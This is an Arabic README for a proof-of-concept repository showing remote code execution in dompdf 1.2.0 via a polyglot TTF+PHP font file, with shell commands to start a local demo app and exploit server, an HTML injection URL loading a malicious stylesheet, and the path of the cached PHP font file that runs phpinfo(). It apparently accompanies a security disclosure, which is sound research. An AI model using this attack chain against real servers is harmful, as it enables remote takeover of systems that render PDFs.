استغلال RCE لـ dompdf

يحتوي هذا المستودع على تطبيق تجريبي قابل للاستغلال يستخدم dompdf 1.2.0 واستغلالًا يحقق تنفيذ الأوامر عن بُعد عبر ملف متعدد اللغات ttf+php.

لمزيد من التفاصيل، يرجى زيارة https://positive.security/blog/dompdf-rce

التعليمات

1. شغّل التطبيق التجريبي

$ cd application
$ php -S localhost:9000

2. شغّل خادم الاستغلال

$ cd exploit
$ php -S localhost:9001

3. شغّل الاستغلال

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. الوصول إلى ملف "الخط" php المخزن مؤقتًا وتنفيذ phpinfo()

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

يرجى ملاحظة: إذا كنت تستخدم نطاقات أو منافذ مختلفة، فيرجى تعديل exploit/exploit.css وفقًا لذلك والتحقق من application/dompdf/lib/fonts للحصول على اسم ملف الخط الكامل.